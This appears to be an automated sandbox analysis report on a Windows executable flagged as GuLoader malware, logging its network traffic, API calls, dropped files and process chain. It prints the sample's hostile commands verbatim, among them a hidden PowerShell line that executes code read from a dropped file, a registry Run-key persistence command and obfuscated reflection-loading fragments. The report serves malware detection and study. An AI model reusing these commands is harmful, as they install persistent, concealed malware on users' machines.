Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57964
Source: unknown	Network traffic detected: HTTP traffic on port 57918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57970
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57971
Source: unknown	Network traffic detected: HTTP traffic on port 57947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57974
Source: unknown	Network traffic detected: HTTP traffic on port 57921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57975
Source: unknown	Network traffic detected: HTTP traffic on port 57967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57980
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57983
Source: unknown	Network traffic detected: HTTP traffic on port 57942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57982
Source: unknown	Network traffic detected: HTTP traffic on port 57988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57985
Source: unknown	Network traffic detected: HTTP traffic on port 57922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57987
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57991
Source: unknown	Network traffic detected: HTTP traffic on port 57941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57993
Source: unknown	Network traffic detected: HTTP traffic on port 57964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57990
Source: unknown	Network traffic detected: HTTP traffic on port 57935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57919
Source: unknown	Network traffic detected: HTTP traffic on port 57933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57917
Source: unknown	Network traffic detected: HTTP traffic on port 57958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57995
Source: unknown	Network traffic detected: HTTP traffic on port 57944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57986 -> 443

Source: unknown

HTTPS traffic detected: 172.67.152.246:443 -> 192.168.2.6:57914 version: TLS 1.2

Source: C:\Users\user\Desktop\ht58337iNC.exe

Code function: 0_2_004052F3 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004052F3

System Summary

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket\ht58337iNC.exe

Jump to dropped file

Source: C:\Users\user\Desktop\ht58337iNC.exe

Code function: 0_2_004032A0 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004032A0

Source: C:\Users\user\Desktop\ht58337iNC.exe	Code function: 0_2_00407041	0_2_00407041
Source: C:\Users\user\Desktop\ht58337iNC.exe	Code function: 0_2_0040686A	0_2_0040686A
Source: C:\Users\user\Desktop\ht58337iNC.exe	Code function: 0_2_00404B30	0_2_00404B30

Source: ht58337iNC.exe

Static PE information: invalid certificate

Source: ht58337iNC.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fotokopiering" /t REG_EXPAND_SZ /d "%Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion)"

Source: classification engine

Classification label: mal100.troj.evad.winEXE@11/13@2/1

Source: C:\Users\user\Desktop\ht58337iNC.exe

0_2_004032A0

Source: C:\Users\user\Desktop\ht58337iNC.exe

Code function: 0_2_004045B4 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004045B4

Source: C:\Users\user\Desktop\ht58337iNC.exe

Code function: 0_2_00402095 CoCreateInstance,

0_2_00402095

Source: C:\Users\user\Desktop\ht58337iNC.exe

File created: C:\Users\user\AppData\Roaming\Remontado113

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5056:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4488:120:WilError_03

Source: C:\Users\user\Desktop\ht58337iNC.exe

File created: C:\Users\user\AppData\Local\Temp\nsy7AAC.tmp

Jump to behavior

Source: ht58337iNC.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process

Source: C:\Users\user\Desktop\ht58337iNC.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ht58337iNC.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ht58337iNC.exe	Virustotal: Detection: 66%
Source: ht58337iNC.exe	ReversingLabs: Detection: 44%

Source: C:\Users\user\Desktop\ht58337iNC.exe

File read: C:\Users\user\Desktop\ht58337iNC.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ht58337iNC.exe "C:\Users\user\Desktop\ht58337iNC.exe"
Source: C:\Users\user\Desktop\ht58337iNC.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Noerror=Get-Content -Raw 'C:\Users\user\AppData\Roaming\Remontado113\Biennalens.Com';$Televiserendes=$Noerror.SubString(54649,3);.$Televiserendes($Noerror)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fotokopiering" /t REG_EXPAND_SZ /d "%Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fotokopiering" /t REG_EXPAND_SZ /d "%Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion)"
Source: C:\Users\user\Desktop\ht58337iNC.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Noerror=Get-Content -Raw 'C:\Users\user\AppData\Roaming\Remontado113\Biennalens.Com';$Televiserendes=$Noerror.SubString(54649,3);.$Televiserendes($Noerror)"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fotokopiering" /t REG_EXPAND_SZ /d "%Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion)"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fotokopiering" /t REG_EXPAND_SZ /d "%Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion)"	Jump to behavior

Source: C:\Users\user\Desktop\ht58337iNC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ht58337iNC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ht58337iNC.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ht58337iNC.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\ht58337iNC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ht58337iNC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ht58337iNC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ht58337iNC.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\ht58337iNC.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\ht58337iNC.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\ht58337iNC.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\ht58337iNC.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\ht58337iNC.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\ht58337iNC.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\ht58337iNC.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ht58337iNC.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\ht58337iNC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ht58337iNC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ht58337iNC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ht58337iNC.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\ht58337iNC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: ht58337iNC.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000006.00000002.3424386540.00000000051F5000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Transitman $Hebrerentervalicilledredaktrerne $Aandssvageanstalternes), (Ammoniation @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Gloiosiphonia = [AppDom
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Rrformet)), $Defilable).DefineDynamicModule($Autoklaverings, $false).DefineType($Hjagtet5, $Photoplayer67, [System.MulticastDelegate])

Suspicious powershell command line found

Source: C:\Users\user\Desktop\ht58337iNC.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Noerror=Get-Content -Raw 'C:\Users\user\AppData\Roaming\Remontado113\Biennalens.Com';$Televiserendes=$Noerror.SubString(54649,3);.$Televiserendes($Noerror)"
Source: C:\Users\user\Desktop\ht58337iNC.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Noerror=Get-Content -Raw 'C:\Users\user\AppData\Roaming\Remontado113\Biennalens.Com';$Televiserendes=$Noerror.SubString(54649,3);.$Televiserendes($Noerror)"			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket\ht58337iNC.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Fotokopiering			Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Fotokopiering			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\ht58337iNC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
